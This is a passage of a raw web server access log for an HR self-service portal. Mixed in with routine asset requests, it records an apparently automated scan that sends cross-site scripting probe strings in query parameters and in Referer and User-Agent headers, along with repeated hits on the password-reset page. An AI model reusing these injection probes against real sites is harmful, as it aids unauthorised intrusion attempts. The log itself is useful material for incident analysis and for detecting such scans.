10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 100.64.0.1 - - [05/Dec/2025:21:50:30 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:30 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/js/flash_detect_min.js HTTP/1.1" 200 2477 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 100.64.0.1 - - [05/Dec/2025:21:50:30 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswdWFXSSProbe%27%22%29%2F%3E&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:30 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswdWFXSSProbe%27%22%29%2F%3E&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswdWFXSSProbe%27%22%29%2F%3E&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 100.64.0.1 - - [05/Dec/2025:21:50:30 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:30 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 100.64.0.1 - - [05/Dec/2025:21:50:31 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:31 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:31 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:31 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 100.64.0.1 - - [05/Dec/2025:21:50:31 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:31 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:31 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:31 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:33 +0800] "GET /ehr/img/logo.gif HTTP/1.1" 200 3837 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:33 +0800] "GET /ehr/img/logo.gif HTTP/1.1" 200 3837 100.64.0.1 - - [05/Dec/2025:21:50:33 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:33 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:31 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:31 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:33 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "\"'>" 100.64.0.1 - - [05/Dec/2025:21:50:33 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHSWFXSSProbe%27%22%29%2F%3E HTTP/1.1" 200 6698 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHSWFXSSProbe%27%22%29%2F%3E HTTP/1.1" 200 6698 100.64.0.1 - - [05/Dec/2025:21:50:33 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:33 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:32 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:33 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "'\">" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:33 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:33 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:33 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:33 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:33 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:33 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:33 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:33 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:33 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:33 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%23%26%3C%28%2C%2B%22%3E%3B&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:33 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%23%26%3C%28%2C%2B%22%3E%3B&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 "-" "\"'>" 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:34 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "\"'>" 100.64.0.1 - - [05/Dec/2025:21:50:34 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 100.64.0.1 - - [05/Dec/2025:21:50:34 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:34 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:34 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "\"'>" 100.64.0.1 - - [05/Dec/2025:21:50:34 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "\"'>" 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "GET /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:34 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:34 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "GET /ehr/img/loginbg.gif HTTP/1.1" 200 7026 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "GET /ehr/img/loginbg.gif HTTP/1.1" 200 7026 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "GET /ehr/img/img1.jpg HTTP/1.1" 200 33358 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "GET /ehr/img/img1.jpg HTTP/1.1" 200 33358 100.64.0.1 - - [05/Dec/2025:21:50:34 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "'" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:34 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 100.64.0.1 - - [05/Dec/2025:21:50:34 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:34 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:36 +0800] "GET /ehr/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:36 +0800] "GET /ehr/img/index_banner_2.jpg HTTP/1.1" 200 45216 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "'\">" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:36 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:36 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "\"'>" 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:50:36 +0800] "POST /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "\"'>" 100.64.0.1 - - [05/Dec/2025:21:50:36 +0800] "POST /ehr/ess/nonexistingurl.php HTTP/1.1" 404 224 100.64.0.1 - - [05/Dec/2025:21:50:35 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 